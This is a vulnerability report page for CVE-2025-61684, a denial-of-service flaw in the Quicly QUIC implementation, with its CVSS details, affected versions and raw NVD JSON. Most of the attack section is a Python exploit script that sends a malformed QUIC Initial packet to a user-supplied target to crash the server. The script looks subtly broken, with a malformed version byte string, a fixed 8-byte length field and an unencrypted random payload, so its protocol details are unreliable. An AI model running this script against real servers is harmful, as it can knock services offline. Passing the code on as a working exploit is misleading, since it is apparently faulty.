Security Vulnerability Report
中文
CVE-2025-61684 CVSS 7.5 HIGH

CVE-2025-61684

Published: 2026-01-19 16:15:53
Last Modified: 2026-02-27 19:41:05

Description

Quicly, an IETF QUIC protocol implementation, is susceptible to a denial-of-service attack prior to commit d9d3df6a8530a102b57d840e39b0311ce5c9e14e. A remote attacker can exploit these bugs to trigger an assertion failure that crashes process using Quicly. Commit d9d3df6a8530a102b57d840e39b0311ce5c9e14e fixes the issue.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:h2o:quicly:*:*:*:*:*:*:*:* - VULNERABLE
Quicly < d9d3df6a8530a102b57d840e39b0311ce5c9e14e

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-61684 PoC - Quicly QUIC DoS Vulnerability This PoC demonstrates sending a malformed QUIC Initial packet that triggers assertion failure in vulnerable Quicly versions. WARNING: This code is for educational and authorized testing purposes only. """ import socket import struct import random import string def generate_random_bytes(length): """Generate random bytes for QUIC packet fields""" return bytes(random.randint(0, 255) for _ in range(length)) def create_quic_initial_packet(): """ Create a malformed QUIC Initial packet that may trigger assertion failure in vulnerable Quicly versions. QUIC Initial packet structure: - Header form (1 bit) = 1 - Fixed bit (1 bit) = 1 - Long packet type (2 bits) = 0 (Initial) - Reserved bits (2 bits) - Packet number length (2 bits) - Version (32 bits) - Destination Connection ID Length (1 byte) - Destination Connection ID - Source Connection ID Length (1 byte) - Source Connection ID - Token Length (variable) - Length (variable) - Packet Number - Payload (AEAD encrypted) """ # QUIC version (draft-34) version = b'\xff00001d' # Connection IDs dcid_len = 8 dcid = generate_random_bytes(dcid_len) scid_len = 8 scid = generate_random_bytes(scid_len) # Token and Length token = b'\x00' # Empty token token_length = bytes([len(token)]) # Packet number (1 byte) with reserved bits set to trigger issue # Reserved bits = 11, packet number length = 00 # This creates an invalid state that may trigger assertion pn_length = 1 packet_number = generate_random_bytes(pn_length) #伪造Payload (simplified - real implementation requires AEAD) payload = generate_random_bytes(32) # Length field - total length of packet number + payload length = struct.pack('!Q', len(packet_number) + len(payload)) # First byte: header form(1) + fixed bit(1) + type(2) + reserved(2) + pn len(2) # Initial packet type = 0 # Set reserved bits to invalid value (0b11 = 3) to trigger assertion first_byte = (1 << 7) | (1 << 6) | (0 << 4) | (3 << 2) | (pn_length - 1) packet = bytes([first_byte]) packet += version packet += bytes([dcid_len]) packet += dcid packet += bytes([scid_len]) packet += scid packet += token_length packet += token packet += length packet += packet_number packet += payload return packet def send_exploit(target_ip, target_port=443): """ Send the exploit packet to target Quicly server """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_quic_initial_packet() try: print(f"[*] Sending malformed QUIC Initial packet to {target_ip}:{target_port}") print(f"[*] Packet size: {len(packet)} bytes") sock.sendto(packet, (target_ip, target_port)) print(f"[+] Packet sent successfully") print(f"[*] If target is running vulnerable Quicly version,") print(f" this may trigger assertion failure and crash the process") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve_2025_61684_poc.py <target_ip> [port]") print("Example: python3 cve_2025_61684_poc.py 192.168.1.100 443") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 send_exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61684", "sourceIdentifier": "[email protected]", "published": "2026-01-19T16:15:53.423", "lastModified": "2026-02-27T19:41:05.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Quicly, an IETF QUIC protocol implementation, is susceptible to a denial-of-service attack prior to commit d9d3df6a8530a102b57d840e39b0311ce5c9e14e. A remote attacker can exploit these bugs to trigger an assertion failure that crashes process using Quicly. Commit d9d3df6a8530a102b57d840e39b0311ce5c9e14e fixes the issue."}, {"lang": "es", "value": "Quicly, una implementación del protocolo QUIC de IETF, es susceptible a un ataque de denegación de servicio anterior al commit d9d3df6a8530a102b57d840e39b0311ce5c9e14e. Un atacante remoto puede explotar estos errores para desencadenar un fallo de aserción que bloquea el proceso que usa Quicly. El commit d9d3df6a8530a102b57d840e39b0311ce5c9e14e soluciona el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:h2o:quicly:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-01-18", "matchCriteriaId": "CCFF0DC7-599C-48E9-8F7F-10F75D383BE2"}]}]}], "references": [{"url": "https://github.com/h2o/quicly/commit/d9d3df6a8530a102b57d840e39b0311ce5c9e14e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/h2o/quicly/security/advisories/GHSA-wr3c-345m-43v9", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}